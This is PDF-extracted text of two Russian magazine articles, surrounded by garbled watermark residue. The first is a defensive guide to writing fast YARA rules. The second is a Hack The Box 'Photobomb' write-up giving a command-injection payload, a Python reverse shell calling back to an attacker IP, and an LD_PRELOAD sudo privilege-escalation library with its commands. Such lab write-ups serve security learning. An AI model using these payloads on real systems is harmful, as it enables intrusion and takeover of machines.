|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
YARA иногда называют швейцар ским ножом вирусных аналити ков . Этот инстру мент поз воляет создавать набор правил , с помощью которых можно быстро и безошибоч но детектировать вредонос ные и потенциаль но опасные программы . В этой статье я расска жу , как писать для YARA идеаль ные правила , чтобы движок работал максималь но быстро и эффективно .
Николай Потоленский
DFIR Specialist | Malware Analyst kelo598@gmail.com
Если ты не знаешь , что такое YARA, и желаешь познакомить ся с этим инстру мен том поближе , обязатель но прочитай статью «Yara. Пишем пра вила, чтобы искать малварь и не только ».
ЧЕТЫРЕХТАКТНЫЙ ДВИГАТЕЛЬ
Как писать быстрые правила ? Давай заглянем под капот YARA и посмотрим , как работае т сканер . Каждое сканиро вание можно разложить на последова тельность из четырех тактов . В качестве примера возьмем следующее пра вило YARА:
// Подключаемые модули
import "math"
rule example_php_webshell_rule
{
//Метаданные
meta:
description = "Example php webshell rule"
//Строки
strings:
$php_tag |
= "<?php" |
$input1 |
= "GET" |
$input2 |
= "POST" |
$payload |
= /assert[\t ]{0,100}\(/ |
|
|
// Условия |
|
condition: |
|
filesize |
< 20KB and |
$php_tag |
and |
$payload |
and |
any of ( |
$input* ) and |
math.entropy(500, filesize-500) >= 5
}
Ну а теперь разберем каждый «такт» в деталях.
Такт 1. Пишем или берем из паблика правило
Это действие аналитик выполняе т самостоятель но , вручную . Для поиска подстрок YARA используе т алгоритм Ахо — Корасик. Сами подстро ки носят название «атомы » (atoms). Максималь ная длина атома достига е т четырех байт.
Разберем атомы на примерах :
/abc.*cde/
В этой регулярке есть два атома : abc и cde. Каждый атом уникален и не содержи т повторя ющих ся символов . Так как они имею т одинако вую длину в 3 байта , YARA будет использовать первый атом abc.
/(one|two)three/
Тут доступны следующие атомы : one, two, thre и hree. По идее, мы можем искать thre или hree отдельн о или для one и two. А как поведет себя YARA?
Она возьме т самый уникаль ный атом thre, он приведе т к меньшему количеству совпадений , чем one и two (они короче). Кроме того, он не содер жит повторя ющиеся символы e, как в hree. YARA оптимизи рована так, чтобы выбрать лучшие атомы из каждой строки . Взглянем на опкоды :
{ 00 00 00 00 [1-4] 01 02 03 04 }
В этом случае YARA будет использовать атом 01 02 03 04, потому что 00 00 00 00 встречает ся слишком часто .
{ 01 02 [1-4] 01 02 03 04 }
Атом 01 02 03 04 предпочти тель нее атома 01 02, потому что первый длин нее.
Важно , чтобы строки содержали «хорошие» атомы . Ниже показаны «пло хие» строки : они содержа т либо слишком короткие , либо неуникаль ные ато мы:
{00 00 00 00 [1-2] FF FF [1-2] 00 00 00 00}
{AB [1-2] 03 21 [1-2] 01 02}
/a.*b/
/a(c|d)/
Худшие строки — это те, которые вообще не содержа т атомов , например вот такие регулярки :
/\w.*\d/
/[0-9]+\n/
Исполь зование регулярных выражений без явных атомов порождае т плохие детектиру ющие правила , так как влече т за собой большие нагрузки на про цессор при сканиро вании всей системы .
Атомы из нашего правила :
•<?ph;
•GET;
•POST;
•sser (из assert).
Атомы извлекают ся из строк в правиле , затем YARA ищет их в процес се ска нирования файлов . Если атом найден , то проверя ется полностью вся строка .
Такт 2. Алгоритм (автомат) Ахо — Корасик
При запуске правила происхо дит поиск подстро ки. Такты 2–4 будут выпол няться для всех файлов . YARA ищет в каждом файле четыре атома из нашего правила , используя дерево префик сов, называемое автоматом Ахо — Корасик. Тот же принцип использует ся в grep. Любые совпадения переда ются дальше в движок байт кода.
Такт 3. Движок байт-кода
Предположим , что во время сканиро вания появилось совпадение с sser. В этом случае на следующем шаге YARA проверит , был ли перед sser пре фикс a и постфикс t. Дальше начнется провер ка регулярки [\t ]{0,100}\(. Благода ря такой оптимиза ции YARA избегае т сложных вычислений (в нашем случае регулярных выражений ) и сначала выбирае т уникаль ные подстро ки для их детальног о изучения .
Такт 4. Условия
После выполнения всех сравнений с образцом в дело вступаю т условия . За провер ку условия отвеча ют вычисления по короткой схеме , также извес тные как вычисления Маккарти .
Вычис ления Маккарти — это принцип оптимиза ции вычислений , при котором второй логический оператор вычисляет ся только в том случае , если первог о логического операто ра недостаточ но для определе ния зна чения выражения .
Рассмот рим простой пример .
// Условия
condition:
filesize |
< 20KB and |
$php_tag |
and |
$payload |
and |
any of ( |
$input* ) and |
math.entropy(500, filesize-500) >= 5
Допус тим , если размер сканиру емо го файла — 25 Кбайт, то общее значение всег о условия ниже будет ЛОЖЬ, так как первым условием в правиле ограниче ние на размер файла 20KB (20 Кбайт). Все просто : условия оценива ются сле ва направо . Если первое условие — ЛОЖЬ, то все последу ющие провер ки выполнять ся не будут.
// Медленное условие
math.entropy(0, filesize) > 7.0 and uint16(0) == 0x5A4D
// Оптимизированное условие
uint16(0) == 0x5A4D and math.entropy(0, filesize) > 7.0
Будь внимате лен при использовании for в условии :
condition:
for all i in (1..filesize) : ( что угодно )
Операция что угодно может выполнять ся очень долго на больших файлах . Давай немног о оптимизи руем правило , добавив условие провер ки PE magic bytes:
strings:
$mz = "MZ"
condition:
$mz at 0 and for all i in (1..filesize) : ( что угодно )
Уже лучше , но все еще не идеаль но . Правило будет обходить обычные файлы , а большие PE будут сканиро вать ся по прежнему долго . Давай добавим огра ничение по размеру :
$mz at 0 and filesize < 100KB and for all i in (1..filesize) : ( что
угодно )
Таким образом мы установи ли границу количества итераций за счет добав ления ограниче ния на размер файла filesize < 100KB.
Вернемся к условиям из нашего правила :
// Условия
condition:
filesize |
< 20KB and |
$php_tag |
and |
$payload |
and |
any of ( |
$input* ) and |
math.entropy(500, filesize-500) >= 5
Благода ря вычислени ям по короткой схеме провер ка энтропии math. entropy (вычисление энтропии очень нагружа е т процес сор ) будет выпол няться тольк о в том случае , если соблюда ются четыре условия перед ним. Если условия удовлетво рены — сообщает ся о совпадении . Сканиро вание продол жает ся на следующем файле , начиная со второго такта .
ПОДКЛЮЧАЕМЫЕ МОДУЛИ
Давай посмотрим , что именно заставля ет наше правило тормозить . Казалось бы, в YARA есть удобные модули для анализа PE- и ELF-файлов ,
причем как встроенные , так и созданные пользовате лями (начиная с вер сии 3.0). Еще есть модули для работы с архивами ZIP и дизас семблером radare2, но пользовать ся ими не так удобно , как кажется на первый взгляд. Протес тируем два одинако вых правила . В первом будем использовать модуль pe, а во втором захардко дим наш мейджик MZ в виде опкодов .
Сканиро вание проводи лось в директории объемом 10 Гбайт. Как видно из результатов теста , модули растягива ют время сканиро вания за счет дополнитель ных вычислений . В нашем случае лучше сделать провер ку через захардко женные опкоды magic bytes.
МЕТАДАННЫЕ
Все, что размеща ется в разделе метаданных , считыва ется движком YARA в оператив ную память. Ты можешь легко проверить это, вста вив 100 000 хешей в правило и проверив использование ОЗУ сканиро ванием YARA до и после . Конечно , не следуе т навсегда удалять метаданные из пра вил, но, если на сканиру емом узле сети мало памяти, ты можешь убрать некоторые ненужные части правила непосредс твенно перед сканиро ванием.
Подыто жим правила оптимиза ции.
1.Ищи хорошие атомы — чем больше уникаль ных букв, тем лучше .
2.Не используй плохие регулярки .
3.Не переигры вай с циклами .
4.Если можно обойтись без модуля, то не подклю чай его (например , magic PE-файла ).
5.Расстав ляй условия в правиль ном порядке .
6.Если будешь проводить сканиро вание пачкой правил — удали метадан ные.
ДОПОЛНИТЕЛЬНЫЕ ИНСТРУМЕНТЫ
Кроме официаль ног о бинарника YARA, для сканиро вания можно исполь зовать решения EDR/XDR и сканеры типа Loki Scaner. EDR/XDR дают воз можность проводить сканиро вание сразу по всей сетевой инфраструктуре , в то время как yara.exe ограничи вает ся только конкрет ной машиной, на которой эта программа запущена .
Velociraptor
Рассмот рим алгоритм запуска сканиро вания на примере open-source EDR Velociraptor.
Перехо дим в разде л Hunt Manager.
Создаем новый хант и на вкладке Select Artifacts выбираем вариант Windows.Detection.Yara.NTFS для сканиро вания файловой системы .
Пишем наше прави ло на вкладке Configure Parameters в поле YaraRule либо загружа ем его в виде файла , восполь зовав шись полем YaraUrl.
После настрой ки всех необходимых полей открываем вкладку Launch, и наш хант попадае т в очередь на исполнение . Если требует ся мгновен но выпол нить сканиро вание после создания ханта , открой вкладку Configure Hunt
и жми чекбокс Start Hunt Immediately.
После завершения сканиро вания мы увидим успешные детектирова ния внут ри нашего ханта на вкладке Notebook.
Loki Scaner
Loki Scaner — это консоль ная утилита с открытым исходным кодом, которая может выполнять сканиро вание на основе правил YARA или IOC (Indicator of Compromise — индикато ры компро мета ции ).
Для добавления своих прави л переходим в папку loki\signature-base\ yara, после чего можем открыть CLI (cmd/terminal) и начать сканиро вание.
Неболь шой ман по основным аргумен там :
•-p path — директория начала сканиро вание;
•-s kilobyte — максималь ный размер файлов в килобайтах (по умол чанию 5 Мбайт);
•--onlyrelevant — выводить в консоль только срабаты вания правил ;
•--allhds — выполнить сканиро вание всех логических томов (только в Windows).
АТРИБУЦИЯ НА YARA
Упрощая , можн о сказать , что атрибуция малвари — это способ определить , к какому семейству или APT-группиров ке относит ся конкрет ный образец вре доносной программы . Заниматься атрибуци ей для компании непросто — нужен целый отдел и мощные сервера (посколь ку детектиру ющее правило для атрибуции конкрет ного образца будет огромным).
Для выполнения атрибуции можно использовать инстру мент yarGen. Он умее т создавать общее правило для всех файлов . В целом алгоритм его работы выгляди т следующим образом :
1.Берем несколь ко образцов вредонос ных программ одного семейства .
2.Запус каем yarGen, указыва ем программе на папку с образцами .
3.YarGen ищет общие строки и/или опкоды , на основе которых генерирует общее YARA-правило , которое является атрибути рующим.
Итоговое прави ло неидеально , желательно его причесать .
В качестве альтер нативы можно сгенери ровать набор хешей секций (ресурсов ) известных нам угроз. Для этого просто создаем YARA-правило , в котором имеются все хеши интересу ющих нас секций . Почему не хеши сем плов? Все просто : достаточ но добавить пару байтов в конец файла , и наш хеш поменяется , а с секциями это сделать немного сложнее .
Еще можн о атрибути ровать подтехни ки MITTRE (этот вариан т я привожу чисто для примера , на деле он не поможет, только если ты не собираешь ся сделать собствен ную платформу для атрибуции ). Например , есть правило , которое атрибути рует подтехни ку MITTRE T1552.004.
Я считаю , что постро ения атрибуции на одной YARA недостаточ но , я бы добавил в помощь к ней ssdeep. Что такое нечеткое хеширование , можно узнать в статье «Хеш четкий и хеш нечеткий . Как средства защиты ловят и классифици ру ют малварь ».
ЧТО КРОМЕ YARA?
YARA-X — это официаль ный форк YARA, переписан ный на языке Rust. От про екта ожидает ся повышенная скорость работы благода ря оптимиза ции этого языка программи рова ния . Я считаю , этот проек т имее т право на жизнь: если взглянуть на RustScan (неофициаль ный форк Nmap), то заметн о существен ное превос ходс тв о в скорос ти сканиро вания сетей.
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ИСПОЛЬЗУЕМ МИСКОНФИГ SUDO ДЛЯ ПОВЫШЕНИЯ ПРИВИЛЕГИЙ
В этом райтапе я покажу, как ошибки в кон фигурации sudo приводят к возможнос ти выполнить свой код в привиле гиро ван ном контек сте . А перед этим получим доступ от имени локального пользовате ля при помощи инъекции команды .
RalfHacker hackerralf8@gmail.com
Атаковать мы будем виртуаль ну ю машину Photobomb с площад ки Hack The Box. Уровень ее сложности — легкий , потребу ется применить всего нес кольк о приемов .
Подклю чать ся к машинам с HTB рекомендует ся только через VPN. Не делай этого с компьюте ров , где есть важные для тебя данные , так как ты ока жешься в общей сети с другими участни ками .
РАЗВЕДКА Сканирование портов
Добав ляем IP-адрес машины в /etc/hosts, чтобы можн о было обращать ся к хосту по имени :
10.10.11.182 photobomb.htb
И запускаем сканиро вание , чтобы получить список открытых на машине пор тов.
Сканиро вание портов — стандар тный первый шаг при любой атаке . Он поз воляе т атакующе му узнать, какие службы на хосте принима ют соединение . На основе этой информации выбирается следующий шаг к получению точки входа .
Наибо лее известный инстру мент для сканиро вания — это Nmap. Улучшить результаты его работы ты можешь при помощи следующе го скрипта :
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действу ет в два этапа . На первом произво дится обычное быстрое ска нирование , на втором — более тщатель ное сканиро вание, с использовани ем имеющих ся скриптов (опция -A).
Резуль та т работы скрипта
Nmap показал нам два открытых порта : 22-й, на котором работае т служба
OpenSSH 8.2p1, и 80-й, где отвечае т веб сервер Nginx 1.18.0. Посколь ку учетной записи для логина по SSH у нас пока нет, выбор очевиден : идем просматри вать веб. Все действия я буду проводить через Burp Proxy, чтобы потом иметь доступ ко всем данным запросов и ответов .
Главная страница сайта http://photobomb.htb/
Нас встречае т страница с информацией и с одной ссылкой , по которой мы, конечн о же, проходим .
ТОЧКА ВХОДА
По ссылке нам открывает ся форма HTTP-аутентифика ции.
Форма ввода учетных данных
Стандар тные пары из логина и пароля вроде admin:admin не подошли . Поэтому переходим в Burp History и просматри ваем содержимое всех зап росов. В исходном коде файла photobomb.js находим учетные данные для HTTP-аутентифика ции.
Burp History
Можем перейти прям о по найден ному адресу :
http://pH0t0:b0Mb!@photobomb.htb/printer
Как вариант , можн о вернуть ся к странице с запросом учетных данных и ввес ти их вручную .
ТОЧКА ОПОРЫ
На сайте есть возможность скачать изображение в выбранном качестве и разрешении . Для нас это интерес но, поэтому просмотрим передаваемые в запросе параметры при конфигура ции и скачива нии картинки .
|
|
|
|
|
Запрос на загрузку |
изображения |
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
||||||||||||||||||||
Первая |
идея — получить метаданные |
изображения |
с помощью exiftool |
||||||||||||||||||||||
и найти какие нибудь следы генератора |
изображений |
, если такой исполь |
|||||||||||||||||||||||
зуется . Тогда мы смогли бы поискать |
существу ющие |
уязвимос |
ти и экспло иты |
||||||||||||||||||||||
для них. Но в метаданных изображений |
ничего интерес ного |
найти не удалось |
. |
||||||||||||||||||||||
|
Затем |
я решил попробовать |
распечатать |
«не |
совсем |
изображение |
». |
||||||||||||||||||
В |
параметре |
|
имени |
файла |
|
|
указыва |
ем |
|
|
путь |
|
/etc/passwd |
||||||||||||
или /../../../../../../../etc/passwd, чтобы |
попробовать |
выгрузить |
|||||||||||||||||||||||
какие нибудь интерес ные |
системные |
файлы . Но получаем следующий |
ответ, |
||||||||||||||||||||||
сигнализи |
рующий |
о том, что и эта идея ошибоч на . |
|
|
|
|
|
|
|
|
|
|
|
Ошибка при произволь ном имени файла
Так как применя ется конверти рова ние в указан ный формат , возможно , веб приложе ние используе т конвертер , передавая команды в командную оболоч ку . В этом случае и имя файла , и расширение будут переданы как параметры командной строки , и тогда нужно попробовать инъекцию команды ОС. Мы уже выяснили , что имя файла проверя ется , и тут нет особой гибкости . Поэтому проверя ем только параметр, где указыва ется новый фор мат. Список нагрузок для провер ки на уязвимость OS Command Injection перебираем через Burp Intruder.
|
Burp Intruder — вкладка Positions |
|
|
||||||
|
|
|
|
|
|||||
В итоге , перейдя к Time-Based-нагрузкам |
(когда |
нет вывода команды , |
|||||||
а результа т ее выполнения |
отмечаем |
по задержке |
времени |
ответа ), опре |
|||||
деляем , что есть возможность |
слепой инъекции |
. |
|
|
|
|
|
|
|
|
Burp Intruder — результа т перебора |
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
||||
В настрой |
ках |
вывода |
добавим |
столбец , |
содержащий |
время |
ответа , |
||||||
и заметим, что при отправке нагрузки |
%0Asleep 7 ответ от сервера |
задер |
|||||||||||
живается |
на восемь секунд! |
|
|
|
|
|
|
|
|||||
Запус тим локальный |
веб сервер : |
|
|
|
|
|
|
|
|||||
python3 -m http.server 80 |
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|||||||
И теперь попробу |
ем |
обратить ся |
на |
него |
через вероятную |
уязвимость |
|||||||
с помощью curl: |
|
|
|
|
|
|
|
|
|
|
|
photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&
filetype=jpg%0Acurl%20http%3a//10.10.14.7/test_RCE&
dimensions=1000x1500
Логи веб сервера
Запрос пришел , значит , уязвимость внедрения команды есть. Теперь поп робуем выполнить следующий реверс шелл на Python 3:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.7",4321))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
Откры ваем листенер на порте 4321 (я использую pwncat), кодируем реверс шелл и отправляем запрос на сервер .
photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg%0Apython3+-
c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,
socket.SOCK_STREAM)%3bs.connect(("10.10.14.7",4321))%3bos.dup2(s.
fileno(),0)%3bos.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)
%3bp%3dsubprocess.call(["/bin/sh","-i"])%3b'&dimensions=1000x1500
Запрос на сервер
В pwncat после получения сессии для переключения к шеллу вводим команду back, а для выхода в меню используем комбинаци ю клавиш Ctrl-D.
Флаг пользовате ля
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь , когда мы получили доступ к хосту , нам необходимо собрать информацию . Я, как обычно , использу ю для этого скрипты PEASS.
Что делать после того, как мы получили доступ в систему от имени поль зователя ? Вариантов дальнейшей эксплу ата ции и повышения привиле гий может быть очень много , как в Linux, так и в Windows. Чтобы собрать информаци ю и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов , которые проверя ю т сис
тему на автомате .
Загрузим на удален ный хост скрипт для Linux, командой chmod +x linpeas. sh дадим ему прав о на выполнение и запустим сбор информации . Из всего вывода можн о уцепить ся только за настрой ки sudoers.
Настрой ки судоера
Файл /etc/sudoers в Linux содержи т списки команд, которые разные группы пользовате лей могут выполнять от имени админис тра тора системы . Можно просмотреть его как напрямую , так и при помощи команды sudo -l.
Мы можем выполнить команду /opt/cleanup.sh от имени пользовате ля root с установ кой переменных окружения (SETENV) без ввода пароля (NOPASSWD). Смотрим содержимое обнаружен ного скрипта .
cat /opt/cleanup.sh
Содер жимое файла /opt/cleanup.sh
В самом скрипте нет ничего интерес ного, зато есть возможность установить переменные окружения . Это очень важно при повышении привиле гий. Мы, например , можем использовать переменну ю окружения LD_PRELOAD и с ее помощью сообщить системно му компонов щику времени выполнения (ld.so), что он должен загрузить указан ные библиоте ки раньше других . В результате можн о перехватывать вызовы системных функций и заменять их собствен ной реализаци ей, а то и просто выполнить свой код.
Давай напишем свою библиоте ку, которая должна дать нам шелл в при вилегиро ванном контек сте.
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Теперь компилиру ем ее с помощью GCC.
gcc -fPIC -shared -o lpe.so lpe.c -nostartfiles
Сборка библиоте ки lpe.so
Собранный файл загружа ем на удален ный хост и выполняем скрипт под sudo с указани ем нашей библиоте ки в переменной окружения LD_PRELOAD. И получаем привиле гированную командну ю оболоч ку.
sudo LD_PRELOAD=/tmp/lpe.so /opt/cleanup.sh
Флаг рута
Машина захвачена !